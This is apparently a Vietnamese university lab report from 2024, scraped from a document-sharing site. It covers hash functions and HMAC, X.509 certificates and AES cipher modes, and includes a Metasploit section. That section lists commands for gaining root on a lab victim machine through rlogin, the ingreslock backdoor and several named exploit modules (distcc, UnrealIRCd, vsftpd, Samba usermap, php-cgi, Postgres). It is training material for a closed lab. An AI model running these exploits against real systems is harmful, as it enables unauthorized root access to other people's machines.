1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Báo cáo thực hành 1 cơ sở an toàn thông tin tìm hiểu về hàm băm và mã xác thực thông Điệp macs

31 1 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Tìm hiểu về hàm băm và mã xác thực thông điệp MACs
Tác giả Trần Văn Vũ
Người hướng dẫn Đinh Trường Duy
Trường học Học viện Công nghệ Bưu chính Viễn thông
Chuyên ngành Cơ sở an toàn thông tin
Thể loại báo cáo thực hành
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 31
Dung lượng 6,78 MB

Nội dung

Tạo một tệp tin văn bản với một số nội dung nhỏ bằng cách sử dụng một trình soạn thảo ví dụ:leafpad hoặc sử dụng kết hợp của lệnh echo và chuyển hướng ‘>’.. So sánh văn bản đã giải mã vớ

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

-BÁO CÁO THỰC HÀNH 1

CƠ SỞ AN TOÀN THÔNG TIN

Hà Nội, ngày 15 tháng 11 năm 2024

Trang 2

MỤC LỤC

0

MỤC LỤC 1

1 Tìm hiểu về hàm băm và mã xác thực thông điệp MACs 2

1.1 Lý thuyết 2

1.2 Nội dung thực hành 2

1.3 Check work 7

2.Sử dụng công cụ Metasploit 8

2.1 Lý thuyết 8

2.2 Nội dung thực hành 9

2.3 Check work 14

3 Tìm hiểu chứng chỉ khóa công khai 15

3.1 Lý thuyết 15

3.2 Nội dung thực hành 15

3.3 Check work 20

4 Khám phá các chế độ mã hóa khóa đối xứng 21

4.1 Lý thuyết 21

4.2 Nội dung thực hành 21

4.3 Checkwork 31

Trang 3

I Tìm hiểu về hàm băm và mã xác thực thông điệp MACs

Khởi động bài lab: labtainer macs-hash

Nhiệm vụ 1: Trong nhiệm vụ này, bạn sẽ không sử dụng OpenSSL để tạo bản tóm lược

(digest) vì có nhiều cách tạo dễ dàng hơn trên Unix Thay vào đó, bạn sử dụng lệnh Shasum mặc định hỗ trợ SHA-1 với đầu ra 160 bit, cũng như các đầu ra SHA-2 dưới các tùy chọn khác Bạn có thể xem các tùy chọn bằng lệnh dưới:

shasum help | less

Trang 4

 Để khởi chạy shasum, sử dụng lệnh:

shasum –a ALGORITHM FILENAME

ALGORITHM với các tùy chọn được hỗ trợ, ví dụ: 1, 224, 256, 384, 512, 512224,

512256

 FILENAME là một file trên hệ thống

Ví dụ, để tạo ra một bản tóm lược 160 bit SHA-1:

shasum –a 1 foo.txt

 Các yêu cầu cần thực hiện:

 Tạo một tệp văn bản bất kỳ trên hệ thống

 Sử dụng Shasum để thử 7 thuật toán mã hóa với tệp đã tạo ở trên

Nhiệm vụ 2: Kiểm tra bản tóm lược

Trong nhiệm vụ này, chúng ta sẽ học cách kiểm tra tính toàn vẹn của file tải xuống bằng cách

sử dụng hàm băm Sử dụng trình duyệt lynx để tải xuống 2 file

 Gõ lynx verydodgy.com

 Sử dụng các phím mũi tên và phím “d” để tải và lưu file floppy57.fs

 Từ cùng trang web đó, tải và lưu file SHA256.sdx

Trang 5

 Tạo bản tóm lược SHA256 với file vừa tải xuống Kiểm tra bản tóm lược tạo ra và file SHA256.sdx khớp với floppy57.fs khi dùng shasun256

Nhiệm vụ 3: Tìm hiểu về “Avalanche E ect”

“Avalanche E ect” mô tả hiện tượng một thay đổi nhỏ ở file đầu vào cũng sẽ làm thay đổi ffhoàn toàn đến bản tóm lược đầu ra

 Tạo một file với tên iou.txt có nội dung “Bob owes me 200 dollars”

 Tạo bản tóm lược SHA256 của file iou.txt

 Mở file iou.txt bằng chương trình chỉnh sửa, ví dụ leafpad

 Thay đổi số “2” thành “3” Điều này sẽ làm 1 bit bị thay đổi

Trang 6

 Lưu các thay đổi và thoát khỏi chương trình chỉnh sửa.

 Tạo bản tóm lược SHA256 khác đối với tệp iou.txt đã sửa đổi

Ta thấy được chỉ thay đổi 1 ký tự nhưng bản tóm lược mới đã thay đổi khác biệt rất rõ ràng

Thay đổi thêm các ký tự khác để cố gắng khi tạo bản tóm lược được như ban đầu nhưng không thể

Nhiệm vụ 4: Tìm hiểu về Second Pre-Image Resistance

Trong phần này, chúng ta sẽ tìm hiểu các thuộc tính Second Pre-Image Resistant của hàm băm SHA256

Trang 7

 Đầu tiên, tạo bản tóm lược SHA256  của file declare.txt

 Tiếp theo, sử dụng script collide1.sh Script collide1.sh được viết nhằm tìm dữ liệu ngẫu nhiên mà khi băm sẽ thành một giá trị file đầu vào đã biết Hơn nữa, nó còn cho phép bạnchỉ định bao nhiêu bản tóm lược muốn trùng khớp

 Thực hiện lệnh sau để tìm dữ liệu ngẫu nhiên mà khi băm, 6 số cuối dạng hex của bản tóm lược sẽ trùng với 6 số cuối dạng hex của bản tóm lược file declare.txt

 Dùng lệnh : openssl dgst -sha1 -hmac <number> declare.txt

 Thay number từ 1 tăng dần cho đến khi được mã hash đề bài cho

Trang 8

Tại 6 thì ta được mã hash đề bài cho

Yêu cầu đối với sinh viên:

 Có kiến thức cơ bản về hệ điều hành Linux, Kali, công cụ metasploit, các lỗ hổng dịch vụ cơ bản: rlogin, ingreslock, distccd, IRC daemon, VSFtpd, Samba, HTTP, Postgres

Nội dung thực hành

 Khởi động bài lab:

o Vào terminal, gõ:

labtainer metasploit

Trang 9

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn

công: attacker, một cái là đại diện cho máy nạn nhân: victim.

Trang 10

 Sử dụng công cụ “nmap” để quét các dịch vụ có thể tấn công Kết quả cần đạt được

tìm ra các cổng có thể tấn công vào máy Victim nếu có (trong bài lab mặc định các

  rlogin -l root <IP victim>

cat /root/filetoview.txt

Trang 11

 Khai thác dịch vụ ingreslock (cổng 1524) Sử dụng telnet để truy cập vào dịch vụ ingreslock và có được quyền root Kết quả cần đạt được truy cập thành công đến máyVictim với quyền root và mở được file trên máy Victim.

telnet <IP victim> <cổng dịch vụ>

cat /root/filetoview.txt

Khai thác dịch vụ distccd (cổng 3632) Khởi chạy trình điều khiển Metasploit là “msfconsole” Tìm và tấn công dịch vụ distccd

Dùng 2 lệnh sau để tìm kiếm và xem option: options search distccd

 sử dụng công cụ khai thác “exploit”

use exploit/unix/misc/distcc_exec

Đặt “RHOST”

set RHOST 192.168.1.2

Trang 12

 Thực hiện khai thác lỗ hổng

Exploit

o Khai thác lỗ hổng IRC daemon (cổng 6667) Khởi chạy trình điều khiển Metasploit là

“msfconsole” Tìm và tấn công lỗ hổng unreal_ircd

search unreal_ircd

 sử dụng công cụ khai thác “exploit”

use exploit/unix/irc/unreal_ircd_3281_backdoor

 đặt “RHOST” nếu cần thiết và chạy khai thác lỗ hổng

 Kết quả cần đạt được truy cập thành công đến máy Victim với quyền root

và mở được file trên máy Victim

Trang 13

o Khai thác dịch vụ VSFtpd (cổng 21) Khởi chạy trình điều khiển Metasploit là

“msfconsole” Tìm và tấn công lỗ hổng vsftpd_234

search vsftpd_234

 sử dụng công cụ khai thác “exploit”

use exploit/unix/ftp/vsftpd_234_backdoor

 đặt “RHOST” nếu cần thiết và chạy khai thác lỗ hổng

 Kết quả cần đạt được truy cập thành công đến máy Victim với quyền root

và mở được file trên máy Victim

o Khai thác dịch vụ Samba service (cổng 139) Khởi chạy trình điều khiển Metasploit là

“msfconsole” Tìm và tấn công lỗ hổng samba usermap_script

search usermap_script

 sử dụng công cụ khai thác “exploit”

use exploit/multi/samba/usermap_script

Trang 14

 đặt “RHOST” nếu cần thiết và chạy khai thác lỗ hổng

 Kết quả cần đạt được truy cập thành công đến máy Victim với quyền root

và mở được file trên máy Victim

o Khai thác dịch vụ HTTP (cổng 80) Khởi chạy trình điều khiển Metasploit là

“msfconsole” Tìm và tấn công lỗ hổng php_cgi

search php_cgi

 sử dụng công cụ khai thác “exploit”

use exploit/multi/http/php_cgi_arg_injection

 đặt “RHOST” nếu cần thiết và chạy khai thác lỗ hổng

 Kết quả cần đạt được truy cập thành công đến máy Victim với quyền root

và mở được file trên máy Victim

Trang 15

o Khai thác dịch vụ Postgres (cổng 5432) Khởi chạy trình điều khiển Metasploit là

“msfconsole” Tìm và tấn công lỗ hổng postgres_payload

search postgres_payload

 sử dụng công cụ khai thác “exploit”

use exploit/linux/postgres/postgres_payload

 đặt “RHOST” nếu cần thiết và chạy khai thác lỗ hổng

 Kết quả cần đạt được truy cập thành công đến máy Victim với quyền root

và mở được file trên máy Victim

Checkwork

Trang 16

III Tìm hiểu chứng chỉ khóa công khai

Mục đích

Mục tiêu của bài lab là giúp sinh viên làm quen với chứng chỉ khóa công khai và cách sử dụng SSL/TLS

Yêu cầu đối với sinh viên:

Nắm được kiến thức về mạng máy tính và Linux Kiến thức về MAC, hàm băm

Trang 17

Trình duyệt Firefox sẽ tự động mở và được sử dụng trong lab này.

Các mục từ #1 đến #4 cung cấp bốn bảng bạn cần điền thông tin Mỗi bảng có năm URL bắt đầu bằng

"https" Tiền tố này khiến giao thức SSL/TLS hoạt động, dẫn đến việc truyền một chứng chỉ PKI từ trang web tương ứng đến trình duyệt của bạn Bạn sẽ xem xét các chứng chỉ này

Đối với mỗi URL trong các bảng này, làm các bước sau đây:

 1 Truy cập vào URL qua trình duyệt (sử dụng https làm tiền tố)

2 Nhấp vào biểu tượng ở phía bên trái của thanh địa chỉ

3 Chọn biểu tượng ‘>’ trong hộp thoại xuất hiện

4 Chọn More information từ cửa sổ pop-up

Trang 18

5 Chọn biểu tượng Security.

6 Chọn View Certificate từ cửa sổ mới

7 Chọn tab Details

Trang 19

8 Từ khu vực Certificate Fields, chọn trường được yêu cầu trong bảng.

9 Lấy thông tin từ khu vực Field Value và chuyển nó vào bảng

10 Chọn Close khi bạn hoàn thành việc xem chứng chỉ

Làm như vậy với các trang web trong bảng:

Facebook:

Trang 20

 

Trang 21

Làm như vậy cho đến khi đủ các tran web trong bảng:

Trang 22

Nhiệm vụ 2: Khám phá chứng chỉ của các trang web khác

Khi cố gắng truy cập các trang có https bằng http thì nó đều chuyển từ http sang https:

Sử dụng lệnh "ll" để liệt kê nội dung của thư mục

2.  Yêu cầu đối với sinh viên:

Nắm được kiến thức về mã hóa khóa đối xứng và câu lệnh trên Linux

3.    Nội dung thực hành

Chuẩn bị lab

-         Khởi động lab:

Trang 23

labtainer symkeylab

Các nhiệm vụ

Nhiệm vụ 1: Làm quen Mã hóa và giải mã một tệp tin (bất kỳ tệp tin nào)

Trong nhiệm vụ này, sinh viên chỉ cần làm quen với cú pháp của lệnh openssl

Thực hiện các bước sau:

1 Tạo một tệp tin văn bản với một số nội dung nhỏ bằng cách sử dụng một trình soạn thảo (ví dụ:leafpad) hoặc sử dụng kết hợp của lệnh echo và chuyển hướng (‘>’)

2 Để mã hóa tệp tin văn bản thành "cipher.txt", gõ:

openssl CIPHER -e -in plain.txt -out cipher.txt -K KEY -iv IV

thay thế:

- CIPHER bằng một thuật toán mã hóa cụ thể và chế độ CBC, ví dụ: aes-128-cbc (Để xem tất cả các tùy chọn, sử dụng "man enc")

- plain.txt là tên của tệp văn bản thô sinh viên vừa tạo

- cipher.txt là tên của tệp kết quả sẽ chứa văn bản đã được mã hóa

- KEY bằng một khóa đối xứng biểu diễn bằng hệ thập lục phân (tùy chọn của sinh viên)

- IV bằng một vectơ khởi tạo biểu diễn bằng hệ thập lục phân (tùy chọn của sinh viên)

Hãy chắc chắn sử dụng tùy chọn -K, và không phải tùy chọn -k Tùy chọn sau có thể không tạo ralỗi, nhưng có thể gây ra vấn đề sau này trong bài thực hành

3 Quan sát văn bản đã được mã hóa bằng cách sử dụng lệnh cat, more, less hoặc leafpad

Trang 24

4 Sinh viên đã thấy rằng tệp tin đã được mã hóa là những ký tự vô nghĩa và không hiển thị đúng

Để xem giá trị hex thực tế của văn bản đã mã hóa, nhập lệnh sau:

hexdump -C FILENAME

5 Liệt kê nội dung của thư mục bằng tùy chọn dài (tức là nhập "ls -l") để xem kích thước của tệp tin ban đầu và tệp tin đã được mã hóa

Kích thước file sau khi mã hóa đã lớn hơn

6 Sinh viên có thể giải mã tệp tin đã mã hóa bằng lệnh sau Hãy chắc chắn xuất ra một tệp văn bản mới và không ghi đè lên tệp tin văn bản gốc

openssl CIPHER -d -in cipher.txt -out plainmod.txt -K KEY -iv IV

7 So sánh văn bản đã giải mã với văn bản gốc bằng lệnh diff, như dưới đây (thay thế ORIGINAL

và UNENCRYPTED bằng tên tệp sinh viên đã sử dụng):

diff -a plain.txt plainmod.txt

Trang 25

b Mã hóa tệp tin nps-logo.bmp bằng AES trong chế độ ECB (với tùy chọn aes-128-ecb) để tạo thành một văn bản đã được mã hóa (Đặt tên tệp mã hóa của sinh viên là "nps-logo_mod.bmp" [Vì chế độ ECB không yêu cầu vectơ khởi tạo, sinh viên không cần cung cấp vectơ khởi tạo.]

c Liệt kê nội dung của thư mục bằng tùy chọn long để xem kích thước của tệp tin logo ban đầu

và tệp tin đã được mã hóa

Kích thước ban đầu của nps-logo.bmp là 16782454 còn sau khi mã hóa là 16782464 lớn hơn ban đầu

d Sinh viên có thể hiển thị văn bản đã được mã hóa bằng cách khiến trình duyệt tin rằng tệp tin

đã mã hóa vẫn là một tệp tin hình ảnh hợp lệ Để làm điều này, sinh viên cần thực hiện một số

"tiền xử lý" nhỏ để làm cho tệp tin có thể xem được

Các hình ảnh BMP có một tiêu đề 54 byte thông báo cho trình xem hình ảnh về hình ảnh, chẳng hạn như kích thước hình ảnh và kích thước của nó Sinh viên cần thay thế tiêu đề BMP đã được

mã hóa trong văn bản đã mã hóa bằng một tiêu đề BMP hợp lệ từ nps-logo.bmp

Để thay thế 54 byte tiêu đề bằng một lệnh, thực hiện lệnh sau:

dd if=nps-logo.bmp of=nps-logo_mod.bmp bs=1 count=54 conv=notrunc

Trang 26

e Sau khi sửa đổi tiêu đề, quay lại trình duyệt web và làm mới trang web để xem hình ảnh đã được mã hóa.

Đã có hình ảnh hiển thị

2 Chế độ CBC

a Mã hóa lại tệp tin nps-logo.bmp, nhưng lần này sử dụng chế độ CBC để tạo thành một văn bản

đã được mã hóa (với tùy chọn aes-128-cbc) [Lần này sinh viên cần cung cấp một vectơ khởi tạo.]

b Liệt kê nội dung của thư mục bằng tùy chọn long để xem kích thước của tệp tin văn bản đã mã hóa mà sinh viên vừa tạo

c Sử dụng lệnh dd đã được mô tả ở trên, sửa đổi tiêu đề của văn bản đã mã hóa mới để có cùng

54 byte như tệp tin BMP gốc

d Xem văn bản đã mã hóa bằng cách làm mới trang web trong trình duyệt

Trang 27

c Sử dụng lệnh dd đã được mô tả ở trên, sửa đổi tiêu đề của văn bản đã mã hóa mới để có cùng

54 byte như tệp tin BMP gốc

d Xem văn bản đã mã hóa bằng cách làm mới trang web trong trình duyệt

4 Chế độ OFB

a Mã hóa lại tệp tin nps-logo.bmp, nhưng lần này sử dụng chế độ OFB (với tùy chọn ofb) [Sinh viên cần cung cấp một vectơ khởi tạo.]

Trang 28

aes-128-b Liệt kê nội dung của thư mục bằng tùy chọn long để xem kích thước của tệp tin văn bản đã mã hóa mà sinh viên vừa tạo.

c Sử dụng lệnh dd đã được mô tả ở trên, sửa đổi tiêu đề của văn bản đã mã hóa mới để có cùng

54 byte như tệp tin BMP gốc

d Xem văn bản đã mã hóa bằng cách làm mới trang web trong trình duyệt

 

Nhiệm vụ 3: Lỗi lan truyền trong quá trình giải mã

Nhiệm vụ này sẽ giúp sinh viên hiểu khả năng của các chế độ mã hóa khác nhau trong việc khôi phục khi có lỗi Sinh viên sẽ mã hóa một tệp văn bản bằng hai chế độ khác nhau, thay đổi một bit duy nhất ở giữa tệp mã hóa, giải mã tệp bị hỏng và sau đó xem hiệu ứng của bit bị hỏng đối với tệp văn bản

1 Giới thiệu

a Liệt kê nội dung của thư mục bằng tùy chọn dài để sinh viên có thể xem kích thước của tệp declare.txt (tính bằng byte)

Sử dụng mục 18 của báo cáo, ghi lại kích thước của declare.txt

Tính số khối AES cần thiết để mã hóa declare.txt

2 Chế độ ECB

a Mã hóa declare.txt bằng AES-128 trong chế độ ECB (với tùy chọn aes-128-ecb)

b Mở tệp đã mã hóa bằng cách sử dụng ghex, như được hiển thị dưới đây, thay thế

ENCRYPTEDFILE bằng tên sinh viên đã chọn:

ghex ENCRYPTEDFILE

Trang 29

c Chọn Edit > Goto Byte và nhập 0x1230 để đến gần giữa tệp đã mã hóa Sinh viên sẽ thấy

"0x1230" xuất hiện trong phần "Offset:" ở góc dưới bên trái của cửa sổ GHex, và con trỏ được tô sáng trên ký tự hex đầu tiên trong hai ký tự hex phản ánh giá trị được lưu trữ tại địa chỉ như trong hình minh họa sau

d Giải mã ciphertext mà không ghi đè lên tệp gốc

e Sử dụng lệnh diff (với tùy chọn "-a", như đã được hiển thị trước đó) để hiển thị những nơi tệp gốc khác với tệp được giải mã

Chỉ thay đổi 1 bit cũng thấy được sự thay đổi rõ ràng

3 Chế độ CBC

a Mã hóa tệp declare.txt một lần nữa bằng AES-128 trong chế độ CBC (với tùy chọn cbc)

Trang 30

aes-128-b Sử dụng ghex một lần nữa để sửa đổi ciphertext ở cùng vị trí sao cho chỉ có một bit được thay đổi.

c Giải mã ciphertext mà không ghi đè lên tệp gốc

d Sử dụng lệnh diff (với tùy chọn "-a", như đã được hiển thị trước đó) để hiển thị những nơi tệp gốc khác với tệp được giải mã

Chỉ đổi 1 bit cũng lm thay đổi rất rõ ràng

Trang 31

 

Ngày đăng: 20/12/2024, 22:37

TỪ KHÓA LIÊN QUAN

TRÍCH ĐOẠN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w